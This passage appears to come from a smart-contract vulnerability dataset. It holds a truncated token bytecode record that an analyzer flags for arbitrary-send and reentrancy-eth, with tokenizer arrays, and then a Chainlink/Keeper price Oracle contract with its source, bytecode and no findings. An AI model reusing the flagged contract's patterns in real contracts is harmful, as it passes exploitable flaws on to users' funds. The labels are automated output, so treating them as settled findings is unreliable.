7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610bd6565b7f000000000000000000000000777e5395280a987ec0c89fc13bd7140611bc5ac76001600160a01b0316856001600160a01b03161461240e57601c546123ab86611732565b6123b590866139b9565b111561240e5760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610bd6565b61241a868686846129c8565b505050505050565b600081848411156124465760405162461bcd60e51b8152600401610bd691906135ff565b5060006124538486613971565b95945050505050565b6000806000612469612cae565b9092509050612478828261247f565b9250505090565b6000610f4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e30565b6000806124ce83856139b9565b905083811015610f425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610bd6565b60008060008060008061253287612e5e565b9050600061253f88612e7a565b9050600061254c89612e9c565b6125558a612ebf565b61255f91906139b9565b9050600061256c8a612ee2565b905060006125848461257e8d88612623565b90612623565b90506125908184612623565b905061259c8183612623565b9b949a5092985090965094509092505050565b60008080806125be8a86612665565b905060006125cc8a87612665565b905060006125da8a88612665565b905060006125e88a89612665565b905060006125f68a8a612665565b9050600061260c8261257e858188818c8c612623565b959f959e50939c50939a5050505050505050505050565b6000610f4283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612422565b60008261267457506000610ba6565b600061268083856139d1565b90508261268d85836139f0565b14610f425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610bd6565b6019805460ff60501b1916600160501b17905560185460175460009161ffff600160301b808304821693908104821692600160201b80820484169390830481169261273c926201000090819004831692910416613a12565b6127469190613a12565b6127509190613a12565b61275a9190613a12565b6127649190613a12565b61276f906002613a38565b60185460175461ffff9283169350600092849261279a92620100009182900483169291900416613a12565b6127a89061ffff16856139d1565b6127b291906139f0565b905060006127c08285613971565b9050476127cc82612f05565b60006127d88247613971565b6018546017549192506000916128009161ffff62010000918290048116929190910416613a12565b61280e9061ffff1687613971565b61281890836139f0565b6018546017549192506000916128409161ffff62010000918290048116929190910416613a12565b61284e9061ffff16836139d1565b905080156128605761286086826130bd565b6018546017546000916128859161ffff600160201b9283900481169290910416613a12565b61ffff166128948460026139d1565b61289e91906139d1565b60185460175491925060009147916128c89161ffff600160301b9283900481169290910416613a12565b61ffff166128d78660026139d1565b6128e191906139d1565b11612927576018546017546129099161ffff600160301b918290048116929190910416613a12565b61ffff166129188560026139d1565b61292291906139d1565b612929565b475b9050811561296d57600f546040516001600160a01b039091169083156108fc029084906000818181858888f1935050505015801561296b573d6000803e3d6000fd5b505b80156129af576010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156129ad573d6000803e3d6000fd5b505b50506019805460ff60501b191690555050505050505050565b8015612b3c576129e66019805469ffffffffffffffffffff19169055565b7f000000000000000000000000777e5395280a987ec0c89fc13bd7140611bc5ac76001600160a01b0316846001600160a01b03161415612a91576017546019805461ffff80841663ffffffff1990921691909117620100008085048316021769ffff0000ffff000000001916600160201b80850483160261ffff60401b191617600160401b8085048316021761ffff60301b1916600160301b93849004919091169092029190911790555b7f000000000000000000000000777e5395280a987ec0c89fc13bd7140611bc5ac76001600160a01b0316836001600160a01b03161415612b3c576018546019805461ffff80841663ffffffff1990921691909117620100008085048316021769ffff0000ffff000000001916600160201b80850483160261ffff60401b191617600160401b8085048316021761ffff60301b1916600160301b93849004919091169092029190911790555b6001600160a01b03841660009081526007602052604090205460ff168015612b7d57506001600160a01b03831660009081526007602052604090205460ff16155b15612b9257612b8d84848461319d565b612c90565b6001600160a01b03841660009081526007602052604090205460ff16158015612bd357506001600160a01b03831660009081526007602052604090205460ff165b15612be357612b8d8484846132ee565b6001600160a01b03841660009081526007602052604090205460ff16158015612c2557506001600160a01b03831660009081526007602052604090205460ff16155b15612c3557612b8d8484846133ae565b6001600160a01b03841660009081526007602052604090205460ff168015612c7557506001600160a01b03831660009081526007602052604090205460ff165b15612c8557612b8d848484613409565b612c908484846133ae565b612ca86019805469ffffffffffffffffffff19169055565b50505050565b600d54600c546000918291825b600854811015612e0057826003600060088481548110612cdd57612cdd613945565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612d485750816004600060088481548110612d2157612d21613945565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612d5e57600d54600c54945094505050509091565b612da46003600060088481548110612d7857612d78613945565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612623565b9250612dec6004600060088481548110612dc057612dc0613945565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612623565b915080612df88161399e565b915050612cbb565b50600c54600d54612e109161247f565b821015612e2757600d54600c549350935050509091565b90939092509050565b60008183612e515760405162461bcd60e51b8152600401610bd691906135ff565b50600061245384866139f0565b601954600090610ba690606490611a5190859061ffff16612665565b601954600090610ba690606490611a5190859062010000900461ffff16612665565b601954600090610ba690606490611a51908590600160301b900461ffff16612665565b601954600090610ba690606490611a51908590600160201b900461ffff16612665565b601954600090610ba690606490611a51908590600160401b900461ffff16612665565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612f3a57612f3a613945565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fdc9190613a62565b81600181518110612fef57612fef613945565b60200260200101906001600160a01b031690816001600160a01b03168152505061303a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611e85565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061308f908590600090869030904290600401613a7f565b600060405180830381600087803b1580156130a957600080fd5b505af115801561241a573d6000803e3d6000fd5b6130e8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611e85565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015613171573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131969190613af0565b5050505050565b60008060008060006131ae86612520565b9450945094509450945060008060006131cd89888888886111d561245c565b6001600160a01b038e1660009081526004602052604090205492955090935091506131f8908a612623565b6001600160a01b038c166000908152600460209081526040808320939093556003905220546132279084612623565b6001600160a01b03808d1660009081526003602052604080822093909355908c168152205461325690836124c1565b6001600160a01b038b1660009081526003602052604090205561327886613493565b61328185613493565b61328a8461351c565b61329481886135db565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040516132d991815260200190565b60405180910390a35050505050505050505050565b60008060008060006132ff86612520565b94509450945094509450600080600061331e89888888886111d561245c565b6001600160a01b038e1660009081526003602052604090205492955090935091506133499084612623565b6001600160a01b03808d16600090815260036020908152604080832094909455918d1681526004909152205461337f90896124c1565b6001600160a01b038b1660009081526004602090815260408083209390935560039052205461325690836124c1565b60008060008060006133bf86612520565b9450945094509450945060008060006133de89888888886111d561245c565b6001600160a01b038e1660009081526003602052604090205492955090935091506132279084612623565b600080600080600061341a86612520565b94509450945094509450600080600061343989888888886111d561245c565b6001600160a01b038e166000908152600460205260409020549295509093509150613464908a612623565b6001600160a01b038c166000908152600460209081526040808320939093556003905220546133499084612623565b600061349d61245c565b905060006134ab8383612665565b306000908152600360205260409020549091506134c890826124c1565b3060009081526003602090815260408083209390935560079052205460ff1615613517573060009081526004602052604090205461350690846124c1565b306000908152600460205260409020555b505050565b600061352661245c565b905060006135348383612665565b6013546001600160a01b031660009081526003602052604090205490915061355c90826124c1565b601380546001600160a01b03908116600090815260036020908152604080832095909555925490911681526007909152205460ff1615613517576013546001600160a01b03166000908152600460205260409020546135bb90846124c1565b6013546001600160a01b0316600090815260046020526040902055505050565b600d546135e89083612623565b600d55600e546135f890826124c1565b600e555050565b600060208083528351808285015260005b8181101561362c57858101830151858201604001528201613610565b8181111561363e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461366957600080fd5b50565b6000806040838503121561367f57600080fd5b823561368a81613654565b946020939093013593505050565b6000602082840312156136aa57600080fd5b8135610f4281613654565b803561ffff811681146136c757600080fd5b919050565b600080600080600060a086880312156136e457600080fd5b6136ed866136b5565b94506136fb602087016136b5565b9350613709604087016136b5565b9250613717606087016136b5565b9150613725608087016136b5565b90509295509295909350565b60008060006060848603121561374657600080fd5b833561375181613654565b9250602084013561376181613654565b929592945050506040919091013590565b60006020828403121561378457600080fd5b5035919050565b803580151581146136c757600080fd5b600080604083850312156137ae57600080fd5b823591506137be6020840161378b565b90509250929050565b6000806000806000806000806000806101408b8d0312156137e757600080fd5b6137f08b6136b5565b99506137fe60208c016136b5565b985061380c60408c016136b5565b975061381a60608c016136b5565b965061382860808c016136b5565b955061383660a08c016136b5565b945061384460c08c016136b5565b935061385260e08c016136b5565b92506138616101008c016136b5565b91506138706101208c016136b5565b90509295989b9194979a5092959850565b60006020828403121561389357600080fd5b610f428261378b565b600080604083850312156138af57600080fd5b82356138ba81613654565b915060208301356138ca81613654565b809150509250929050565b600181811c908216806138e957607f821691505b6020821081141561390a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000828210156139835761398361395b565b500390565b634e487b7160e01b600052603160045260246000fd5b60006000198214156139b2576139b261395b565b5060010190565b600082198211156139cc576139cc61395b565b500190565b60008160001904831182151516156139eb576139eb61395b565b500290565b600082613a0d57634e487b7160e01b600052601260045260246000fd5b500490565b600061ffff808316818516808303821115613a2f57613a2f61395b565b01949350505050565b600061ffff80831681851681830481118215151615613a5957613a5961395b565b02949350505050565b600060208284031215613a7457600080fd5b8151610f4281613654565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015613acf5784516001600160a01b031683529383019391830191600101613aaa565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215613b0557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220823d218b27f7132e5985543d5ef5bd5a80b24659fd58ffcc51940a4dfee514b764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 18139, 2497, 23833, 2575, 2497, 2575, 2620, 2278, 21619, 28311, 2487, 3207, 2487, 4215, 2692, 29097, 21084, 2278, 2683, 2497, 2094, 2581, 2620, 2850, 9818, 22932, 1013, 1008, 1008, 1056, 2290, 1024, 1030, 4231, 20027, 11031, 4037, 1024, 16770, 1024, 1013, 1013, 4231, 20027, 2015, 1012, 2522, 1013, 1013, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,396
0x96b5041ef4b3f3176aa17aa57d845b421df2a87e
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IChainLinkOracle.sol"; import "./interfaces/IKeeperOracle.sol"; import "./ERC20/IERC20.sol"; import "./utils/Ownable.sol"; import "./interfaces/IOracle.sol"; contract Oracle is IOracle, Ownable { mapping(address => address) public chainlinkPriceUSD; mapping(address => address) public chainlinkPriceETH; address constant public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IKeeperOracle public uniswapKeeperOracle = IKeeperOracle(0x73353801921417F465377c8d898c6f4C0270282C); IKeeperOracle public sushiswapKeeperOracle = IKeeperOracle(0xf67Ab1c914deE06Ba0F264031885Ea7B276a7cDa); constructor () { chainlinkPriceUSD[weth] = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // WETH chainlinkPriceUSD[0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599] = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; // wBTC chainlinkPriceUSD[0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D] = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; // renBTC chainlinkPriceUSD[0x4688a8b1F292FDaB17E9a90c8Bc379dC1DBd8713] = 0x0ad50393F11FfAc4dd0fe5F1056448ecb75226Cf; // COVER chainlinkPriceUSD[0x6B175474E89094C44Da98b954EedeAC495271d0F] = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; // DAI chainlinkPriceUSD[0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48] = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; // USDC chainlinkPriceUSD[0xdAC17F958D2ee523a2206206994597C13D831ec7] = 0x3E7d1eAB13ad0104d2750B8863b489D65364e32D; // USDT chainlinkPriceETH[0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e] = 0x7c5d4F8345e66f68099581Db340cd65B078C41f4; // YFI chainlinkPriceETH[0x6B3595068778DD592e39A122f4f5a5cF09C90fE2] = 0xe572CeF69f43c2E488b33924AF04BDacE19079cf; // SUSHI chainlinkPriceETH[0x4E15361FD6b4BB609Fa63C81A2be19d873717870] = 0x2DE7E4a9488488e0058B95854CC2f7955B35dC9b; // FTM chainlinkPriceETH[0x2ba592F78dB6436527729929AAf6c908497cB200] = 0x82597CFE6af8baad7c0d441AA82cbC3b51759607; // CREAM chainlinkPriceETH[0x4688a8b1F292FDaB17E9a90c8Bc379dC1DBd8713] = 0x7B6230EF79D5E97C11049ab362c0b685faCBA0C2; // COVER initializeOwner(); } /// @notice Returns price in USD multiplied by 1e8, chainlink.latestAnswer returns 1e8 for USD answers, 1e18 for ETH answers, IKeeperOracle.current returns 1e18 function getPriceUSD(address _asset) external override view returns (uint256 price) { // If token has ChainLink USD oracle if (chainlinkPriceUSD[_asset] != address(0)) { price = IChainLinkOracle(chainlinkPriceUSD[_asset]).latestAnswer(); } else { // Fetch token price in ETH uint256 wethPrice = IChainLinkOracle(chainlinkPriceUSD[weth]).latestAnswer(); // returned in 1e8 // If token has ChainLink ETH oracle if (chainlinkPriceETH[_asset] != address(0)) { uint256 _priceInETH = IChainLinkOracle(chainlinkPriceETH[_asset]).latestAnswer(); // returned in 1e18 // Cancel out 1e18 multiplier from ETH ChainLink answer price = _priceInETH * wethPrice / 1e18; } else { // Rely on UniQuote uint256 decimals = IERC20(_asset).decimals(); // If token has SushiSwap Keeper oracle address sushiPair = sushiswapKeeperOracle.pairFor(_asset, weth); if (sushiswapKeeperOracle.observationLength(sushiPair) > 0) { uint256 _priceInETH = sushiswapKeeperOracle.current(_asset, 10 ** decimals, weth); // returned in 1e18 // Cancel out 1e18 multiplier from Keeper oracle price = _priceInETH * wethPrice / 1e18; } else { // If token has Uniswap Keeper oracle // Fetch Uniswap pair here to avoid extra call above address uniPair = uniswapKeeperOracle.pairFor(_asset, weth); if (uniswapKeeperOracle.observationLength(uniPair) > 0) { uint256 _priceInETH = uniswapKeeperOracle.current(_asset, 10 ** decimals, weth); // returned in 1e18 // Cancel out 1e18 multiplier from Keeper oracle price = _priceInETH * wethPrice / 1e18; } } } } } function updateFeedETH(address _asset, address _feed) external override onlyOwner { chainlinkPriceETH[_asset] = _feed; // 0x0 to remove feed } function updateFeedUSD(address _asset, address _feed) external override onlyOwner { chainlinkPriceUSD[_asset] = _feed; // 0x0 to remove feed } function setSushiKeeperOracle(address _sushiOracle) external override onlyOwner { require(_sushiOracle != address(0), "Oracle: IKeeperOracle is 0"); sushiswapKeeperOracle = IKeeperOracle(_sushiOracle); } function setUniKeeperOracle(address _uniOracle) external override onlyOwner { require(_uniOracle != address(0), "Oracle: IKeeperOracle is 0"); uniswapKeeperOracle = IKeeperOracle(_uniOracle); } } // SPDX-License-Identifier: No License pragma solidity ^0.8.0; interface IChainLinkOracle { function latestAnswer() external view returns (uint256); } // SPDX-License-Identifier: No License pragma solidity ^0.8.0; interface IKeeperOracle { function current(address, uint, address) external view returns (uint256); function pairFor(address, address) external view returns (address); function observationLength(address) external view returns (uint256); } // SPDX-License-Identifier: No License pragma solidity ^0.8.0; /** * @title Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); } // SPDX-License-Identifier: No License pragma solidity ^0.8.0; import "./Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * @author crypto-pumpkin * * By initialization, the owner account will be the one that called initializeOwner. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Ruler: Initializes the contract setting the deployer as the initial owner. */ function initializeOwner() internal initializer { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { function getPriceUSD(address _asset) external view returns (uint256 price); // admin functions function updateFeedETH(address _asset, address _feed) external; function updateFeedUSD(address _asset, address _feed) external; function setSushiKeeperOracle(address _sushiOracle) external; function setUniKeeperOracle(address _uniOracle) external; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a8bbb0da11610066578063a8bbb0da1461016d578063d8fce00514610180578063f2fde38b14610193578063fcfd559a146101a6576100cf565b8063715018a61461014a5780638c2ac646146101525780638da5cb5b14610165576100cf565b80630def0af4146100d45780631e7987cc146100f257806323389986146100fa5780633fc8cef31461010f57806345057f57146101175780635708447d1461012a575b600080fd5b6100dc6101b9565b6040516100e99190610c79565b60405180910390f35b6100dc6101c8565b61010d610108366004610bc9565b6101d7565b005b6100dc610258565b61010d610125366004610bc9565b610270565b61013d610138366004610bc9565b6102e8565b6040516100e99190610d7c565b61010d610982565b6100dc610160366004610bc9565b610a03565b6100dc610a1e565b61010d61017b366004610c08565b610a33565b6100dc61018e366004610bc9565b610a91565b61010d6101a1366004610bc9565b610aac565b61010d6101b4366004610c08565b610b6b565b6003546001600160a01b031681565b6004546001600160a01b031681565b6000546201000090046001600160a01b031633146102105760405162461bcd60e51b815260040161020790610d47565b60405180910390fd5b6001600160a01b0381166102365760405162461bcd60e51b815260040161020790610d10565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000546201000090046001600160a01b031633146102a05760405162461bcd60e51b815260040161020790610d47565b6001600160a01b0381166102c65760405162461bcd60e51b815260040161020790610d10565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038181166000908152600160205260408120549091161561039a576001600160a01b038083166000908152600160209081526040918290205482516350d25bcd60e01b815292519316926350d25bcd926004808201939291829003018186803b15801561035b57600080fd5b505afa15801561036f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103939190610c40565b905061097d565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26000908152600160209081527f49e349d4f386739afdf8e55db7675b584d46c3b2a603eef62554e21dc437b5db54604080516350d25bcd60e01b815290516001600160a01b03909216926350d25bcd92600480840193829003018186803b15801561041957600080fd5b505afa15801561042d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104519190610c40565b6001600160a01b038481166000908152600260205260409020549192501615610525576001600160a01b0380841660009081526002602090815260408083205481516350d25bcd60e01b81529151939416926350d25bcd92600480840193919291829003018186803b1580156104c657600080fd5b505afa1580156104da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fe9190610c40565b9050670de0b6b3a76400006105138383610eb9565b61051d9190610d85565b92505061097b565b6000836001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561056057600080fd5b505afa158015610574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105989190610c58565b600480546040516396ed28f960e01b815260ff9390931693506000926001600160a01b03909116916396ed28f9916105e891899173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29101610c8d565b60206040518083038186803b15801561060057600080fd5b505afa158015610614573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106389190610bec565b600480546040516381bfb88560e01b81529293506000926001600160a01b03909116916381bfb8859161066d91869101610c79565b60206040518083038186803b15801561068557600080fd5b505afa158015610699573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bd9190610c40565b111561078d576004546000906001600160a01b031663a75d39c2876106e386600a610deb565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518463ffffffff1660e01b815260040161071693929190610ca7565b60206040518083038186803b15801561072e57600080fd5b505afa158015610742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107669190610c40565b9050670de0b6b3a764000061077b8583610eb9565b6107859190610d85565b945050610978565b6003546040516396ed28f960e01b81526000916001600160a01b0316906396ed28f9906107d490899073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290600401610c8d565b60206040518083038186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190610bec565b6003546040516381bfb88560e01b81529192506000916001600160a01b03909116906381bfb8859061085a908590600401610c79565b60206040518083038186803b15801561087257600080fd5b505afa158015610886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108aa9190610c40565b1115610976576003546000906001600160a01b031663a75d39c2886108d087600a610deb565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518463ffffffff1660e01b815260040161090393929190610ca7565b60206040518083038186803b15801561091b57600080fd5b505afa15801561092f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109539190610c40565b9050670de0b6b3a76400006109688683610eb9565b6109729190610d85565b9550505b505b50505b505b919050565b6000546201000090046001600160a01b031633146109b25760405162461bcd60e51b815260040161020790610d47565b60008054604051620100009091046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805462010000600160b01b0319169055565b6002602052600090815260409020546001600160a01b031681565b6000546201000090046001600160a01b031690565b6000546201000090046001600160a01b03163314610a635760405162461bcd60e51b815260040161020790610d47565b6001600160a01b03918216600090815260016020526040902080546001600160a01b03191691909216179055565b6001602052600090815260409020546001600160a01b031681565b6000546201000090046001600160a01b03163314610adc5760405162461bcd60e51b815260040161020790610d47565b6001600160a01b038116610b025760405162461bcd60e51b815260040161020790610cca565b600080546040516001600160a01b03808516936201000090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b6000546201000090046001600160a01b03163314610b9b5760405162461bcd60e51b815260040161020790610d47565b6001600160a01b03918216600090815260026020526040902080546001600160a01b03191691909216179055565b600060208284031215610bda578081fd5b8135610be581610eee565b9392505050565b600060208284031215610bfd578081fd5b8151610be581610eee565b60008060408385031215610c1a578081fd5b8235610c2581610eee565b91506020830135610c3581610eee565b809150509250929050565b600060208284031215610c51578081fd5b5051919050565b600060208284031215610c69578081fd5b815160ff81168114610be5578182fd5b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b0393841681526020810192909252909116604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601a908201527f4f7261636c653a20494b65657065724f7261636c652069732030000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b90815260200190565b600082610da057634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611610db75750610de2565b818704821115610dc957610dc9610ed8565b80861615610dd657918102915b9490941c938002610da8565b94509492505050565b6000610be56000198484600082610e0457506001610be5565b81610e1157506000610be5565b8160018114610e275760028114610e3157610e5e565b6001915050610be5565b60ff841115610e4257610e42610ed8565b6001841b915084821115610e5857610e58610ed8565b50610be5565b5060208310610133831016604e8410600b8410161715610e91575081810a83811115610e8c57610e8c610ed8565b610be5565b610e9e8484846001610da5565b808604821115610eb057610eb0610ed8565b02949350505050565b6000816000190483118215151615610ed357610ed3610ed8565b500290565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610f0357600080fd5b5056fea2646970667358221220b436e919d41d4abf199b34b38a5a58e6a11434d89ed4b0defd5b00bede03b97564736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
